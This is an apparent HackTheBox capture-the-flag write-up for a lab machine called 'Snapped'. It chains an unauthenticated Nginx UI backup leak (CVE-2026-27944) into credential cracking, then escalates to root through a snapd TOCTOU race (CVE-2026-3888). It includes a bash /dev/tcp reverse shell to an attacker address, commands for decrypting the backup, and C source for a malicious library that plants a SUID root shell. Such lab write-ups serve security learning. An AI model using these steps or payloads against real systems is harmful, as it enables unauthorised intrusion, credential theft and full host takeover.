Overview
Snapped is a HackTheBox machine built specifically to demonstrate two newly disclosed CVEs in a chained real-world scenario. The foothold leverages CVE-2026-27944 — an unauthenticated information disclosure in Nginx UI that exposes a full application backup and the key to decrypt it — to recover credentials and gain a shell. Privilege escalation exploits CVE-2026-3888, a TOCTOU race condition in snapd that allows an attacker to win a race against systemd-tmpfiles and poison the shared library loaded by the SUID-root snap-confine binary.
Enumeration
nmap -sV -sC -p- --min-rate 5000 -oA snapped 10.10.11.x
The scan reveals two ports: 80/tcp (Nginx, serving a static landing page) and 8080/tcp (Nginx UI admin panel). Browsing to port 80 shows a holding page with no functionality. Port 8080 redirects to the Nginx UI login screen — /login.
Default credentials and common password sprays against the login form don't land. Before trying to brute-force authentication, it's worth running a quick directory scan against the API.
ffuf -u http://10.10.11.x:8080/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,201,302
The scan surfaces /api/backup — responding with a 200 to an unauthenticated GET request.
Foothold — CVE-2026-27944: Unauthenticated Backup Disclosure
The Vulnerability
Prior to Nginx UI version 2.3.3, the /api/backup endpoint is accessible without any authentication. The endpoint generates and returns a full encrypted backup of the Nginx UI application data — including all configuration files and the application's SQLite database. Crucially, the response header X-Backup-Security contains the AES key and IV used to encrypt the backup, rendering the encryption entirely decorative.
The backup contains credentials, the encryption key to read the backup is in the response header, and none of it requires authentication. Three distinct failures in a single endpoint.
Retrieving and Decrypting the Backup
# Download the backup and capture the decryption key from the response header
curl -v http://10.10.11.x:8080/api/backup -o backup.zip 2>&1 | grep -i "x-backup-security"
# X-Backup-Security: key=<hex_key>;iv=<hex_iv>
# Decrypt the backup using the extracted key and IV
openssl enc -d -aes-256-cbc -K <hex_key> -iv <hex_iv> -in backup.zip -out backup_dec.zip
unzip backup_dec.zip -d backup/
Extracting Credentials
Inside the decrypted backup is the Nginx UI SQLite database. The users table contains a bcrypt password hash for the admin user.
sqlite3 backup/database.db "SELECT username, password FROM users;"
# admin | $2a$10$[...bcrypt hash...]
The hash cracks quickly with hashcat against rockyou — the admin had chosen a weak password.
hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt
With credentials in hand, we log into the Nginx UI admin panel on port 8080. Nginx UI provides a terminal interface accessible to admin users — this gives us code execution as www-data. A standard reverse shell upgrade lands us on the box.
bash -i >& /dev/tcp/10.10.14.x/4444 0>&1
Privilege Escalation — CVE-2026-3888: snapd TOCTOU Race Condition
Enumeration
With a shell as www-data, basic enumeration turns up snapd installed and running, with several snap packages active. Checking the version:
snap version
# snapd 2.63.0 (vulnerable range)
The Vulnerability
CVE-2026-3888 is a Time-of-Check/Time-of-Use (TOCTOU) race condition between snap-confine — the SUID-root binary responsible for setting up snap application sandboxes — and systemd-tmpfiles, which periodically cleans up /tmp.
During snap application startup, snap-confine creates a private temporary directory under /tmp/snap.<snap-name> and bind-mounts shared libraries into the sandbox environment. systemd-tmpfiles can delete this directory between the time snap-confine creates it and the time it performs the bind-mount — the classic TOCTOU window.
An attacker who wins this race can recreate the temporary directory with attacker-controlled content, substituting a malicious shared library in place of the legitimate one. When snap-confine proceeds with the bind-mount and executes, the SUID-root binary loads the malicious library — executing our code as root.
Exploitation
The exploit works by:
- Triggering
systemd-tmpfilescleanup to delete the snap temp directory. - Immediately recreating the directory with a malicious
libseccomp.socontaining a constructor that spawns a root shell. - Applying backpressure on the AF_UNIX socket used by
snap-confineto stall it just long enough for our directory replacement to land. snap-confineresumes, loads our malicious library from the hijacked path, and executes the constructor as root.
# Compile the malicious shared library
cat > evil.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void pwn() {
setuid(0); setgid(0);
system("cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash");
}
EOF
gcc -shared -fPIC -o libseccomp.so.2 evil.c -nostartfiles
# Run the race exploit (public PoC)
python3 cve-2026-3888.py
/tmp/rootbash -p
# rootbash-5.1# id
# uid=0(root) gid=0(root)
Flags
cat /home/*/user.txt
cat /root/root.txt
Takeaways
Snapped chains two distinct vulnerability classes into a clean end-to-end compromise. The foothold is a straightforward API security failure — an endpoint that should be behind authentication simply isn't, and it hands over both data and the keys to decrypt it. The privilege escalation is more nuanced: TOCTOU races against SUID binaries require timing precision and an understanding of the kernel's filesystem and scheduling behaviour, but the conceptual model is well-established.
Both CVEs are relevant to real-world engagements. nginx-ui instances are common on self-managed Linux web infrastructure, and any deployment below version 2.3.3 exposes the backup endpoint publicly. For snapd, the affected version range is broad — any system running snaps without the latest snapd update is potentially vulnerable to local privilege escalation, which is a useful card to have when you land a shell with limited privileges.